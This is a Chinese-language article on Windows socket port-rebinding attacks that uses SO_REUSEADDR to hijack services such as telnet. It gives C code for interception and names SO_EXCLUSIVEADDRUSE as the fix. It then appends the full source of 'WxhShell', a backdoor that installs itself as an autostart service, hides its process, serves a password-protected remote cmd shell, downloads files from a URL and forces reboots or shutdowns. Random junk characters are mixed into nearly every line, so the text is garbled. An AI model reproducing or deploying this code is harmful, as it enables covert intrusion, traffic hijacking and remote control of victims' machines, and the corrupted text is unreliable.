在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
N|h`}*:x= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u f.Zg;Vc %$~?DDNM saddr.sin_family = AF_INET;
p6A"_b^ ZgcA[P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y4/>3tz; S=0zP36kH: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;k9s@e#a ]RML;]^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_o8il3 s4@AK48 这意味着什么?意味着可以进行如下的攻击:
:\4?{,@_h V#ZF0a] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ujXC#r& WW:@% cQ@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#]_S{sO
Qx>S>f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/E2/3z :y"Zc1_E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j\P47q'v# w3:Y]F.ot 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_WVeb} Ja4O*C< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S=U*is jI_TN5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d?$FAy'o5 zRx-xWo #include
[@eNb^R #include
zbOEF #include
qq]ZkT} #include
JY(_}AAu DWORD WINAPI ClientThread(LPVOID lpParam);
$*Njvr7 int main()
&DYHkG {
OHdCt WORD wVersionRequested;
J)6RXt*! DWORD ret;
5%rD7/7N WSADATA wsaData;
aW$sd) BOOL val;
a<k x95 SOCKADDR_IN saddr;
.8<bz4 SOCKADDR_IN scaddr;
V44IA[ int err;
w6F4o;<PR SOCKET s;
q=M!YWz SOCKET sc;
S#/[>Cb int caddsize;
^cz#PNB HANDLE mt;
'gxSHqeI2 DWORD tid;
5%mc| wVersionRequested = MAKEWORD( 2, 2 );
O3bo3Cm$ err = WSAStartup( wVersionRequested, &wsaData );
c_s=>z if ( err != 0 ) {
X|{TwmHd printf("error!WSAStartup failed!\n");
uCB7(< return -1;
s(w6Ldi }
vj]-p= saddr.sin_family = AF_INET;
1mz;4xb JQP7>W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?\L@Pr|=Dr ~c%H3e>Jcq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-fI-d1@ saddr.sin_port = htons(23);
+?5nkhH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6+b!|`?l+ {
y
Rr,+>W printf("error!socket failed!\n");
Qr6[h! return -1;
z4D[>2* }
EJ;:O1,6H val = TRUE;
5`53lK.C //SO_REUSEADDR选项就是可以实现端口重绑定的
X-|Lg.s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/XEUJC4 {
h$)+$^YI printf("error!setsockopt failed!\n");
$vnshU8/v return -1;
3R1v0 }
Cu3^de@h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EtjN :p|$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3Kc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
d/vF^v*o0X *.#d'~+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rK;F]ei {
-/*-e
/+b ret=GetLastError();
eGwrSF#a) printf("error!bind failed!\n");
9^h0D}#@ return -1;
9YS &RBJu }
&x
=}m listen(s,2);
_5 Zhv-7 while(1)
p}$VBl$' {
sPuNwVX>}I caddsize = sizeof(scaddr);
8<#X]I_eP+ //接受连接请求
W-ErzX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5(R ./
if(sc!=INVALID_SOCKET)
1K.i>]}> {
Q%o:*(x[O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w#_/CUL if(mt==NULL)
PTfTT_t {
o(Yj[:+m printf("Thread Creat Failed!\n");
T$RVz
break;
-$WU-7` }
_]E H~; }
M@ILB-H CloseHandle(mt);
0Ah'G }
G9J+D?'hH closesocket(s);
Sz|;wsF{ WSACleanup();
P~/Glak return 0;
MA0}BJoW }
o,dO.isgh> DWORD WINAPI ClientThread(LPVOID lpParam)
Bj5_=oo+d {
+L
D\~dcV+ SOCKET ss = (SOCKET)lpParam;
M}2a/}4 SOCKET sc;
gM~dPM| unsigned char buf[4096];
bBA
#o\[ SOCKADDR_IN saddr;
eT* )r~ long num;
mcvd/ DWORD val;
7~n<%q/6 DWORD ret;
VX0q!Q //如果是隐藏端口应用的话,可以在此处加一些判断
{WfZE&B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
q^NI saddr.sin_family = AF_INET;
SC/|o
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@(Q'J` saddr.sin_port = htons(23);
;K]6/Wt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rvrv[^a( {
!? !~8J~ printf("error!socket failed!\n");
w64 /$ return -1;
b3]QH
h/ }
8L]em&871 val = 100;
]w ^9qS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i7]\}w| {
',`GdfAsH ret = GetLastError();
Y~@@{zP return -1;
d;1%Ei3K }
-wJ/j~+m+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yzJ
VU0s {
\1x<bx/1 ret = GetLastError();
RS'!>9I return -1;
}j9V0`Q }
1Z-f@PoM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J<J_yRg2 {
!;EG<ji,gj printf("error!socket connect failed!\n");
N6yPuH closesocket(sc);
gbF^m`A>%+ closesocket(ss);
+
q@kRQY;n return -1;
4mNg(w=NF }
~Iw7Xq E2 while(1)
&+]x {
X;`XkOjk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7L68voC@U //如果是嗅探内容的话,可以再此处进行内容分析和记录
rik-C7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,FWC|uM" num = recv(ss,buf,4096,0);
AY3nQH
if(num>0)
t*X
k'(v send(sc,buf,num,0);
Xi vzhI4 else if(num==0)
RE~:+.eB break;
t0t" =(d num = recv(sc,buf,4096,0);
Y v22,|: if(num>0)
&)Y26*(` send(ss,buf,num,0);
ZmM/YPy else if(num==0)
5`] ;[M9 break;
E2J.t`H }
5k /Y7+*?E closesocket(ss);
qRy<W closesocket(sc);
n
*Y+y return 0 ;
,
H$1iJ? }
b|_Pt VsLlPw{ Z1u:OI@( ==========================================================
h,QC#Ak o 0Bbno9Yp 下边附上一个代码,,WXhSHELL
6%N.'wf .C$4jR.KC ==========================================================
<*O~?=6p lI#Ap2@ #include "stdafx.h"
iBlZw%zKP Qy!*U%tG' #include <stdio.h>
yc ize2>q #include <string.h>
&,vPZ,7l #include <windows.h>
.8[Uk^q #include <winsock2.h>
/q.iUwSK> #include <winsvc.h>
@&H Tt #include <urlmon.h>
liu%K9-r eAvOT$ #pragma comment (lib, "Ws2_32.lib")
6KT]3*B #pragma comment (lib, "urlmon.lib")
B[2 qI7D$ qo,uOi #define MAX_USER 100 // 最大客户端连接数
eRV4XB : #define BUF_SOCK 200 // sock buffer
cPQUR^!5 #define KEY_BUFF 255 // 输入 buffer
0A$x'pU) _G9vsi #define REBOOT 0 // 重启
oUXi4lsSc #define SHUTDOWN 1 // 关机
++b1VBP +-8S,Rg@ #define DEF_PORT 5000 // 监听端口
b=Rw=K.
c-1Hxd YD #define REG_LEN 16 // 注册表键长度
~CTe5PX c #define SVC_LEN 80 // NT服务名长度
!aylrJJ >\J({/ #O // 从dll定义API
J-Xw}|>@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QPL6cU$&R
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d"h*yH@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8HL$y-F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
i6)7)^nG iv3=J
// wxhshell配置信息
Rwu
y!F struct WSCFG {
}V@ *
:3w8 int ws_port; // 监听端口
h?cf)L char ws_passstr[REG_LEN]; // 口令
fU?P__zU4 int ws_autoins; // 安装标记, 1=yes 0=no
e15_$M;RW char ws_regname[REG_LEN]; // 注册表键名
Atdr|2 char ws_svcname[REG_LEN]; // 服务名
$?voQ& char ws_svcdisp[SVC_LEN]; // 服务显示名
="yN4+0-p char ws_svcdesc[SVC_LEN]; // 服务描述信息
QOb+6qy:3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R<"fcsU int ws_downexe; // 下载执行标记, 1=yes 0=no
`TugtzRU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+@n8DM{b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P;B<R" >j&+mii };
_tl 6I5,PB // default Wxhshell configuration
ED0Vlw+1 struct WSCFG wscfg={DEF_PORT,
f=$w,^)M "xuhuanlingzhe",
$>Y2N5 1,
l'Oz-p.@ "Wxhshell",
2.xA' \M "Wxhshell",
<oJM||ZA "WxhShell Service",
R8Kj3wp "Wrsky Windows CmdShell Service",
e|6kgj3/ "Please Input Your Password: ",
:[hZn/ 1,
e7T}*Up "
http://www.wrsky.com/wxhshell.exe",
+`y{r^xD "Wxhshell.exe"
ihv=y\Jt };
l y!vbpE_ BYhF? // 消息定义模块
ao+lLCr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!&8nwOG char *msg_ws_prompt="\n\r? for help\n\r#>";
I-L52%E] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7FQ&LF46 char *msg_ws_ext="\n\rExit.";
G[;GP0\N char *msg_ws_end="\n\rQuit.";
A>C&`A=- char *msg_ws_boot="\n\rReboot...";
U04TVQn` char *msg_ws_poff="\n\rShutdown...";
`a$c6^a char *msg_ws_down="\n\rSave to ";
. 5cL+G1k# p,(gv])ie char *msg_ws_err="\n\rErr!";
Nft~UggK char *msg_ws_ok="\n\rOK!";
G=1&:nW' !c 3c%=W char ExeFile[MAX_PATH];
^`BiA'gPPC int nUser = 0;
NVt612/'7y HANDLE handles[MAX_USER];
E ISgc {s int OsIsNt;
3I}(as{Rp *9XKkR<r SERVICE_STATUS serviceStatus;
MKl`9 Y3Ge SERVICE_STATUS_HANDLE hServiceStatusHandle;
o#p{0y [i"6\p& // 函数声明
#o>~@.S#:0 int Install(void);
/Qa'\X,f3 int Uninstall(void);
yniXb2iM int DownloadFile(char *sURL, SOCKET wsh);
n5Coxvy1 int Boot(int flag);
c >8IM void HideProc(void);
IjshxNk int GetOsVer(void);
/b|V=j}W int Wxhshell(SOCKET wsl);
7?1[sPM void TalkWithClient(void *cs);
d*}dM" int CmdShell(SOCKET sock);
]U4)2s int StartFromService(void);
x6h';W_ 8 int StartWxhshell(LPSTR lpCmdLine);
<l#|I'hP Lo<-;;vQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Fl{@B*3@w VOID WINAPI NTServiceHandler( DWORD fdwControl );
jV}tjwq @Rc/^B: // 数据结构和表定义
LBcnBo</v SERVICE_TABLE_ENTRY DispatchTable[] =
j3W) {
Ht{Q=w/9 {wscfg.ws_svcname, NTServiceMain},
<6!;mb
;cX {NULL, NULL}
?QJS6i'k };
hggP9I:s, zp4aiMn1F // 自我安装
Rhfx int Install(void)
6h?v/\ {
5{PT char svExeFile[MAX_PATH];
5.IX HKEY key;
pW
y+oZ strcpy(svExeFile,ExeFile);
tz6N,4J? tPQjjoh // 如果是win9x系统,修改注册表设为自启动
?o>JX.Nl&7 if(!OsIsNt) {
6bE~m<B\` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D
,U#z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9"g!J|+ RegCloseKey(key);
(yr<B_Y'MY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O
,9,=2j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y
E;n.L RegCloseKey(key);
f4mQDRlD return 0;
-;1nv:7Z3 }
l KdY!j" }
VfV|fuW }
cFV)zFu else {
X2[d15!9 2HX#:y{\l // 如果是NT以上系统,安装为系统服务
><HHO
(74X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)j_Y9`R if (schSCManager!=0)
[& d"Z2gK {
,E._A(Z SC_HANDLE schService = CreateService
\>G :mMk/ (
)<~v~|re schSCManager,
\]Nt-3|`0 wscfg.ws_svcname,
E! s?amM4 wscfg.ws_svcdisp,
f"Z2,!Z; SERVICE_ALL_ACCESS,
qr<+@Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(O(X k+L SERVICE_AUTO_START,
KAFx^JLo SERVICE_ERROR_NORMAL,
:TZ</3Sw svExeFile,
I{8sLzA03S NULL,
17C"@1n- NULL,
o-}q|tD$< NULL,
=/Lwprj NULL,
xQ]^wT.Q NULL
#~JR_oQE! );
x%`.L6rj if (schService!=0)
\F; S {
lQ{o[axT CloseServiceHandle(schService);
&tjv.t CloseServiceHandle(schSCManager);
4b@Awtk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Qt~QJJN?oF strcat(svExeFile,wscfg.ws_svcname);
tK0Ksnl^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'CfM'f3uu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`pJWZ:3 RegCloseKey(key);
B/^1uPTZ71 return 0;
Z/*X)mBuB }
LJh^-FQ }
!l7D1i~ CloseServiceHandle(schSCManager);
-*nd5(lY& }
8Buus }
`,7;2ZG~O
D=!T,p= return 1;
D| gI3i }
g,O3\jjQ Iq%
0fX // 自我卸载
I;5:jT ` int Uninstall(void)
]nQC {
-LnNA`- HKEY key;
-]-?>gkN5 hLo>jE
if(!OsIsNt) {
AnW72|=A( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.~C[D
T+, RegDeleteValue(key,wscfg.ws_regname);
nuucYm%IF- RegCloseKey(key);
!]l!I9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)zMsKfQ RegDeleteValue(key,wscfg.ws_regname);
|9;MP&68 RegCloseKey(key);
qN@-H6D1= return 0;
_yu_Ev}R }
Mv 1V
Vk }
1=^edQ+ }
BIn7<.& else {
Od?b(bE.] R]xXG0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9bb5?b/ if (schSCManager!=0)
L>X39R~ {
VUbg{Rb) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
An2Wj if (schService!=0)
6?uo6 I {
Z&MfE0F/B if(DeleteService(schService)!=0) {
<],~V\m CloseServiceHandle(schService);
bmd3fJb`r CloseServiceHandle(schSCManager);
;p] f5R^ return 0;
:L&d>Ii|' }
rE5q
BEh CloseServiceHandle(schService);
K."h}f95 }
.CAcG"42 CloseServiceHandle(schSCManager);
QP={b+8 }
yrCY-'% }
wS%j!|xhlV ;R4qE$u2^ return 1;
bi<?m^j }
JXNfE,_ :WM[[LOaC // 从指定url下载文件
ns}"[44C}l int DownloadFile(char *sURL, SOCKET wsh)
q*pWx]Y {
;z3w#fNMv HRESULT hr;
]4
q6N char seps[]= "/";
p J#<e char *token;
3A)Ec/;~ char *file;
#
ZcFxB6) char myURL[MAX_PATH];
AriW&E char myFILE[MAX_PATH];
>SSRwYIN OO /Pc strcpy(myURL,sURL);
kA/V=xO< token=strtok(myURL,seps);
\66j4?H# while(token!=NULL)
0<4Swj3s7 {
\NTNB9>CO file=token;
l99{ eD token=strtok(NULL,seps);
p(`?y:.3 }
2[e^mm&. ge@ KopZ& GetCurrentDirectory(MAX_PATH,myFILE);
n+94./Mh strcat(myFILE, "\\");
MET"s.v strcat(myFILE, file);
"U6:z M send(wsh,myFILE,strlen(myFILE),0);
+u[?8D7Y send(wsh,"...",3,0);
zSM;N^X 8? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Vv<Tjr if(hr==S_OK)
hnp-x3 return 0;
=0gfGwD{ else
- )brq3L return 1;
o9 g0fC 7$/%c{o }
idLCq^jnJ *5Aq\g,n // 系统电源模块
rZSX fgfr int Boot(int flag)
-)dS`hM {
Ua](o H HANDLE hToken;
B(l8&
TOKEN_PRIVILEGES tkp;
GT(nW|v C?h`i ^ >2 if(OsIsNt) {
UW@BAj@^@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qTd6UKg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7]&ouT tkp.PrivilegeCount = 1;
b :J$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M>kk"tyM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
CDRkH)~$ if(flag==REBOOT) {
TexSUtx@$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g#b uy return 0;
VfON{ 1g }
Qin;{8I0 else {
[bIR$c[G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S`v+rQjW return 0;
A=a~ [vre }
-|\SNbPTV }
*M^t@ h l else {
{24Y1ohK if(flag==REBOOT) {
LjOHlT' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
di,?` return 0;
Xj+oV }
WUesTA> else {
^+)q@{\8Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Gi*GFv%xB return 0;
wEp*j+Mmce }
ZUiInO }
X&+*?Q^ `*to(
) return 1;
hD I}V1) }
.)Af&+KT g-cC&)0Q // win9x进程隐藏模块
``j8T[g void HideProc(void)
`x'vF# {
eo~>|0A*V /H m),9NN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
v?S~ =$. if ( hKernel != NULL )
_8;)J {
1E'/! | pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>QJfTkD$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y7x[noGtR FreeLibrary(hKernel);
gJv;{;% }
y5AJ1A6?E 8fI&-uP{g return;
LNR~F_64Q }
|'bRVqJ 5[{#/!LX) // 获取操作系统版本
MaX:oGF, int GetOsVer(void)
zC[lPABQ {
tq^d1b(j4 OSVERSIONINFO winfo;
m?$peRn3{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vxrRkOU1 GetVersionEx(&winfo);
5|^{t00T~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
./!6M return 1;
_s> ZY0 else
!"e~HZmr return 0;
OYC\+
= }
4EB&Zmg[K vKCgtk // 客户端句柄模块
=e>#oPH int Wxhshell(SOCKET wsl)
!;1$1xWK {
iNxuQ7~ SOCKET wsh;
6QC=:_M; struct sockaddr_in client;
d|, B* N(w DWORD myID;
\h&ui]V :1O1I2L0 while(nUser<MAX_USER)
/V%]lmxQ {
Z;XiA<| int nSize=sizeof(client);
AvNU\$B4aG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|y*-)t if(wsh==INVALID_SOCKET) return 1;
*i>?YT k5=VH5{S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V;V,G+0Re if(handles[nUser]==0)
DIU9Le closesocket(wsh);
S
;; Z else
8%;K#,> nUser++;
O^AF+c\n }
az=(6PX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U.[?1:v er[%Nt+99 return 0;
/KWR08ftp }
0B;cQSH!q s, 8a1o // 关闭 socket
G\U'_G> void CloseIt(SOCKET wsh)
b35Z1sfD
j {
(^ Q:zU closesocket(wsh);
3hrODts nUser--;
UOg4E ExitThread(0);
H%*<t} }
P(Fd|).j$ E9yBa=#*c // 客户端请求句柄
3Q@HP;< void TalkWithClient(void *cs)
Q6|~ks+Y {
NQD*8PGfj Po:)b SOCKET wsh=(SOCKET)cs;
BRx`83CK char pwd[SVC_LEN];
Jf,)Y>EI char cmd[KEY_BUFF];
c&o|I4|Y, char chr[1];
3N] int i,j;
:Gdfpz-{? FrXh\4C while (nUser < MAX_USER) {
N{f4-i~ t`XYY if(wscfg.ws_passstr) {
nnZ|oEF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VTQxg5P c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/<Doe SDJ| //ZeroMemory(pwd,KEY_BUFF);
TyCMZsvM, i=0;
d/57;6I_ while(i<SVC_LEN) {
c<8RRYs JBsHr%!i // 设置超时
~alC5|wCUQ fd_set FdRead;
gD\ = struct timeval TimeOut;
MR/8 FD_ZERO(&FdRead);
{[&_)AW6m% FD_SET(wsh,&FdRead);
-[I}"Glz: TimeOut.tv_sec=8;
\9S&j(I TimeOut.tv_usec=0;
KvM}g2" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cN{-&\
6L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Dw@0P B>11 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$1CAfSgKw pwd
=chr[0]; G(puC4 "&
if(chr[0]==0xd || chr[0]==0xa) { =HF||p@
pwd=0; {iv!A=jld
break; r#K;@wu2
} '5ZtB<
i++; D&xbtJd
} u'?yc"d>#
U*Hw
t\
// 如果是非法用户,关闭 socket f&\v+'[p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qGE?[\t[6
} )7e[o8O_6
H nRd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -'tgr6=|w"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bIP'(B#1K
ZjE!?
'(ef
while(1) { 4I>I
|$r|DX1[
ZeroMemory(cmd,KEY_BUFF); ;btH[a iV
zk[%YG&
// 自动支持客户端 telnet标准 v;9VX
j=0; 31n5n
while(j<KEY_BUFF) { S=^a''bg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S)@95pb
cmd[j]=chr[0]; cNW [i"
if(chr[0]==0xa || chr[0]==0xd) { P8JN
m"C
cmd[j]=0; 0@9.h{s@
break; uM8YY[b
} 5"IbmD>D
j++; #Fua^]n
} p2|BbC\N
B}.G(-u?7
// 下载文件 rmCrP(
if(strstr(cmd,"http://")) { f3 lKdXnP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;P-xKRU!Xx
if(DownloadFile(cmd,wsh)) ^oFg5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KfXE=v{t
else X5'QYZ6kv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }ST9&wi~
} #-9;Hn4x
else { ,3k"J4|d
8
0>qqz
switch(cmd[0]) { "RG.27
C(:tFuacpw
// 帮助 5-L?JD4&
case '?': { #L-3eW=f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xud
break; Y
9eGDpW
} ,6Kx1 c
// 安装 9HOdtpQOV
case 'i': { BfLh%XC
if(Install()) qY24Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Xq:?}-m2
else XD5z+/F<"0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lE+v@Kb:
break; 6#+&_#9
} '[]V%^F
// 卸载 4#?OxvH
case 'r': { !b"#`O%`
if(Uninstall()) E%M~:JuKd?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3_Su5~^
else JLsy|}>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jXO*_R
break; -WIT0F4o;
} M"OXNPkc
// 显示 wxhshell 所在路径 {89F*
case 'p': { jUq^$+N
char svExeFile[MAX_PATH]; /@5X0m
strcpy(svExeFile,"\n\r"); #c5 NFU}9
strcat(svExeFile,ExeFile); C3af>L@}
send(wsh,svExeFile,strlen(svExeFile),0); =GpO}t">
break; 3S-n sMs.
} .c'EXuI7),
// 重启 ~y+QL{P4~
case 'b': { %C%~f{4
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T`{W$4XS
if(Boot(REBOOT)) goi5I(yn^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,TTt<&c
else { r>:7)p!|
closesocket(wsh); 8|A*N<h
ExitThread(0); O2E6F^.pYw
} L$7
NT}L
break; I
U/HYBJH
} 1(`>9t02/?
// 关机 U:eahK
case 'd': { dA[Z\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !GcH )
if(Boot(SHUTDOWN)) M0<gea\ =
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iWu$$IV?-
else { |1G /J[E
closesocket(wsh); U}7a;4?
ExitThread(0); "
1YARGu
} tL1"Dt>
break; u>j:8lhtV
} 0+b1R}!2
// 获取shell C8%Io l
case 's': { 83UIH0(
CmdShell(wsh); d-g&TSGd
closesocket(wsh); C6=7zYhR
ExitThread(0); F8km8lPQl
break; X8Px
} =&~*r
// 退出 o'@VDGS`
case 'x': { qG=9zp4y?Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h
Ns<Ae
CloseIt(wsh); mT;1KE{J{
break; T_:"~
]
} w{3
B
// 离开 yZbO{PMr
case 'q': { <U=:N~L
send(wsh,msg_ws_end,strlen(msg_ws_end),0); N=&~3k
closesocket(wsh); Dh0`t@
WSACleanup(); h>w4{ u0
exit(1); }tT"vCu
break; aDuO!?Cm
} UUy|/z%
} 0[g8
} zp>q$e40
a_/\.
// 提示信息 KwOn<0P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {w.rcObIw+
} MzRURH,
} @2-Eky
PZ~uHX_d>
return; *Z=K9y,IC
} #uJGXrGt=
+Gi~VW.
// shell模块句柄 *4Cq,o`o>
int CmdShell(SOCKET sock) x|G#oG)_
{ RuDn1h#u{
STARTUPINFO si; .WA(X5
ZeroMemory(&si,sizeof(si)); A{lzQO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7nB@U$]-Sz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =jjUwcl
PROCESS_INFORMATION ProcessInfo; nmp(%;<exN
char cmdline[]="cmd"; 6|3$43J,F
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~M%r.WFpA
return 0; ,2vPmff
} stz1e
dP
ymSGB`CP
// 自身启动模式 P]-d(N}/H
int StartFromService(void) VZ{aET!
{ J')Dt]/9
typedef struct 3!&lio+<
{ ;=1]h&S
DWORD ExitStatus; t0p^0
DWORD PebBaseAddress; <#JJS}TLk
DWORD AffinityMask; DoAK]zyJA
DWORD BasePriority; e!b?SmNN
